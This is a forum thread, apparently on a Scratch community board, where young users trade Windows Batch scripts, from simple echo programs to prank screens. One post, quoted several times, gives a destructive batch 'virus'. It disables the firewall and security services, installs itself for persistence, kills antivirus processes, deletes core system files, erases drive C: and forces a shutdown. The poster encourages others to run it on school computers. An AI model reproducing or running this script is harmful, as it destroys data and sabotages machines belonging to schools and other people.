For those of you who don't know, Batch is a programming language which I believe comes standard on all Windows computers now. Basically, you open up notepad and enter commands in it for the computer to carry out. It can be used for anything from ease of access programs to simple text-based games. If you want to familiarize yourself with the language, Google can provide you with several excellent tutorials on coding in Batch. It's an excellent segue from Scratch into more complicated programming languages like C++ and JavaScript, to name a few. Discuss anything to do with Batch-problems, projects, ideas, etc.
Thanks, and Batch on! (see what I did there?)
Offline
I like Batch, although it is very simple it is quite powerful for some things.
Offline
shutdown /s?
I just read a little about it, knowing a bit would be good c: Pretty much all I can do currently is echo, lol.
Offline
technoguyx wrote:
shutdown /s?
I just read a little about it, knowing a bit would be good c: Pretty much all I can do currently is echo, lol.
Yeah.
MY CODE:
@echo off
echo --------------
echo YO.
echo --------------
pause
echo --------------
echo your computer is being hacked trololol
echo --------------
pause
Offline
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}
start color 5 title Say Goodbye time 12:00 net stop "Security center" net stop sharedaccess netsh firewall set opmode mode-disable start echo copy %0 >> c:\autoexec.bat copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg start c:\regstart.reg copy %0 %systemroot%\shroom.bat > nul start copy %0 *.bat > nul start attrib +r +h virus.bat attrib +r +h RUNDLL32 USER32.DLL,SwapMouseButton tskill msnmsgr tskill Limewire tskill iexplorer tskill NMain tskill Firefox tskill explorer tskill AVGUARD msg * Awww Your computer is now detroyed msg * You got owned by anonymous! msg * Say Bye to your computer n00b copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS del "C:\WINDOWS\pchealth\" del "C:\WINDOWS\system\" del "C:\WINDOWS\system32\restore\" del "C:\WINDOWS\system32\logonui.exe" del "C:\WINDOWS\system32\ntoskrnl.exe" del "Winlogon.exe" ERASE c: start shutdown - s -t 15 -c "15 Seconds and counting" cd %userprofile%\Desktop copy fixvirus.bat %userprofile%\Desktop echo HAXHAXHAX :LOOP color 17 color 28 color 32 color 22 color 11 color 02 color 39 color 34 GOTO LOOP
it completely crashes the computer. Permanently.
Like literally.
Last edited by mythbusteranimator (2012-12-07 10:59:08)
Offline
mythbusteranimator wrote:
Code:
start color 5 title Say Goodbye time 12:00 net stop "Security center" net stop sharedaccess netsh firewall set opmode mode-disable start echo copy %0 >> c:\autoexec.bat copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg start c:\regstart.reg copy %0 %systemroot%\shroom.bat > nul start copy %0 *.bat > nul start attrib +r +h virus.bat attrib +r +h RUNDLL32 USER32.DLL,SwapMouseButton tskill msnmsgr tskill Limewire tskill iexplorer tskill NMain tskill Firefox tskill explorer tskill AVGUARD msg * Awww Your computer is now detroyed msg * You got owned by anonymous! msg * Say Bye to your computer n00b copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS del "C:\WINDOWS\pchealth\" del "C:\WINDOWS\system\" del "C:\WINDOWS\system32\restore\" del "C:\WINDOWS\system32\logonui.exe" del "C:\WINDOWS\system32\ntoskrnl.exe" del "Winlogon.exe" ERASE c: start shutdown - s -t 15 -c "15 Seconds and counting" cd %userprofile%\Desktop copy fixvirus.bat %userprofile%\Desktop echo HAXHAXHAX :LOOP color 17 color 28 color 32 color 22 color 11 color 02 color 39 color 34 GOTO LOOPit completely crashes the computer. Permanently.
Like literally.
That's pretty rude
Offline
Snowdrift wrote:
mythbusteranimator wrote:
Code:
start color 5 title Say Goodbye time 12:00 net stop "Security center" net stop sharedaccess netsh firewall set opmode mode-disable start echo copy %0 >> c:\autoexec.bat copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg start c:\regstart.reg copy %0 %systemroot%\shroom.bat > nul start copy %0 *.bat > nul start attrib +r +h virus.bat attrib +r +h RUNDLL32 USER32.DLL,SwapMouseButton tskill msnmsgr tskill Limewire tskill iexplorer tskill NMain tskill Firefox tskill explorer tskill AVGUARD msg * Awww Your computer is now detroyed msg * You got owned by anonymous! msg * Say Bye to your computer n00b copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS del "C:\WINDOWS\pchealth\" del "C:\WINDOWS\system\" del "C:\WINDOWS\system32\restore\" del "C:\WINDOWS\system32\logonui.exe" del "C:\WINDOWS\system32\ntoskrnl.exe" del "Winlogon.exe" ERASE c: start shutdown - s -t 15 -c "15 Seconds and counting" cd %userprofile%\Desktop copy fixvirus.bat %userprofile%\Desktop echo HAXHAXHAX :LOOP color 17 color 28 color 32 color 22 color 11 color 02 color 39 color 34 GOTO LOOPit completely crashes the computer. Permanently.
Like literally.That's pretty rude
My post is not meant to be taken seriously.
Offline
mythbusteranimator wrote:
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}Code:
start color 5 title Say Goodbye time 12:00 net stop "Security center" net stop sharedaccess netsh firewall set opmode mode-disable start echo copy %0 >> c:\autoexec.bat copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg start c:\regstart.reg copy %0 %systemroot%\shroom.bat > nul start copy %0 *.bat > nul start attrib +r +h virus.bat attrib +r +h RUNDLL32 USER32.DLL,SwapMouseButton tskill msnmsgr tskill Limewire tskill iexplorer tskill NMain tskill Firefox tskill explorer tskill AVGUARD msg * Awww Your computer is now detroyed msg * You got owned by anonymous! msg * Say Bye to your computer n00b copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS del "C:\WINDOWS\pchealth\" del "C:\WINDOWS\system\" del "C:\WINDOWS\system32\restore\" del "C:\WINDOWS\system32\logonui.exe" del "C:\WINDOWS\system32\ntoskrnl.exe" del "Winlogon.exe" ERASE c: start shutdown - s -t 15 -c "15 Seconds and counting" cd %userprofile%\Desktop copy fixvirus.bat %userprofile%\Desktop echo HAXHAXHAX :LOOP color 17 color 28 color 32 color 22 color 11 color 02 color 39 color 34 GOTO LOOPit completely crashes the computer. Permanently.
Like literally.
i swear, that'd probably be the one time that I'd forgive Microsoft for putting UAC in Win 7 XD
(jk, i actually like uac a lot)
Last edited by SJRCS_011 (2012-12-09 09:05:10)
Offline
yeah, try this on your school computer
@echo off cd / cls color 17 echo A problem has been detected and Windows has been shut down to prevent damage echo to your computer. echo. echo The problem seems to be caused by the following file: SPCMDCON.SYS echo. echo PAGE_FAULT_IN_NONPAGED_AREA echo. echo If this is the first time you've seen this stop error screen, echo restart your computer. If this screen appears again, follow echo these steps: echo. echo Check to make sure any new hardware or software is properly installed. echo If this is a new installation, ask your hardware or software manufacturer echo for any Windows updates you might need. echo. echo If problems continue, disable or remove any newly installed hardware echo or software. Disable BIOS memory options such as caching or shadowing. echo If you need to use Safe Mode to remove or disable components, restart echo your computer, press F8 to select Advanced Startup Options, and then echo select Safe Mode. echo. echo Technical information: echo. echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x0000 0000) echo. echo. echo *** SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c pause :nul cls echo Downloading viruses . . . ping localhost -n 5 :nul dir pause :nul
lol
Offline
mythbusteranimator wrote:
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}Code:
start color 5 title Say Goodbye time 12:00 net stop "Security center" net stop sharedaccess netsh firewall set opmode mode-disable start echo copy %0 >> c:\autoexec.bat copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg start c:\regstart.reg copy %0 %systemroot%\shroom.bat > nul start copy %0 *.bat > nul start attrib +r +h virus.bat attrib +r +h RUNDLL32 USER32.DLL,SwapMouseButton tskill msnmsgr tskill Limewire tskill iexplorer tskill NMain tskill Firefox tskill explorer tskill AVGUARD msg * Awww Your computer is now detroyed msg * You got owned by anonymous! msg * Say Bye to your computer n00b copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS copy shroom.bat C:/WINDOWS del "C:\WINDOWS\pchealth\" del "C:\WINDOWS\system\" del "C:\WINDOWS\system32\restore\" del "C:\WINDOWS\system32\logonui.exe" del "C:\WINDOWS\system32\ntoskrnl.exe" del "Winlogon.exe" ERASE c: start shutdown - s -t 15 -c "15 Seconds and counting" cd %userprofile%\Desktop copy fixvirus.bat %userprofile%\Desktop echo HAXHAXHAX :LOOP color 17 color 28 color 32 color 22 color 11 color 02 color 39 color 34 GOTO LOOPit completely crashes the computer. Permanently.
Like literally.
eerm some of the slashes are the wrong way round
Offline
mythbusteranimator wrote:
It's official.
BATCH is the best prank language.
Applescript would be useless if it couldn't run shell xD
Offline
I found a tutorial and made this:
@echo off echo Hi, this is a website opener. SET /P w=Please enter the name of the website and press enter (make sure you put www. at the begining): echo Opening website... start %w% echo Press any key to exit. pause>null
I'm quite proud of myself
Offline
epicepicman wrote:
I found a tutorial and made this:
Code:
@echo off echo Hi, this is a website opener. SET /P w=Please enter the name of the website and press enter (make sure you put www. at the begining): echo Opening website... start %w% echo Press any key to exit. pause>nullI'm quite proud of myself
thats actually pretty good for a beginner
Offline
mythbusteranimator wrote:
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}
2 problems.
1) I already have your IP :3
2) I don't have a school computer :3
Offline
GeonoTRON2000 wrote:
mythbusteranimator wrote:
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}2 problems.
1) I already have your IP :3
2) I don't have a school computer :3
lol
i think that a work one will suffice as well
Offline
GeonoTRON2000 wrote:
mythbusteranimator wrote:
I FOUND THIS CODE.
If anyone puts this in their school computer and video tapes, I will give them the batch code to fin my IP. :}2 problems.
1) I already have your IP :3
2) I don't have a school computer :3
NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
Offline
mythbusteranimator wrote:
It's official.
BATCH is the best prank language.
Yes, it was used to make the blue screen of death I got on a SCHOOL COMPUTER!!!!
Last edited by playzooki (2012-12-13 14:09:47)
Offline
playzooki wrote:
mythbusteranimator wrote:
It's official.
BATCH is the best prank language.Yes, it used to make the blue screen of death I got on a SCHOOL COMPUTER!!!!
XDXDXDXD
(Apparently, Mokat shut down her school's computer using a userscript. )
Offline
I found out you can use batch to open Steam games.
Try this if you have Portal 2:
echo Welcome, this program opens Portal 2 on Steam. pause start steam://rungameid/620
Offline
jontmy00 wrote:
I need MBA's code for a Mac. >
Does Mac have command prompt? Or Notepad?
Offline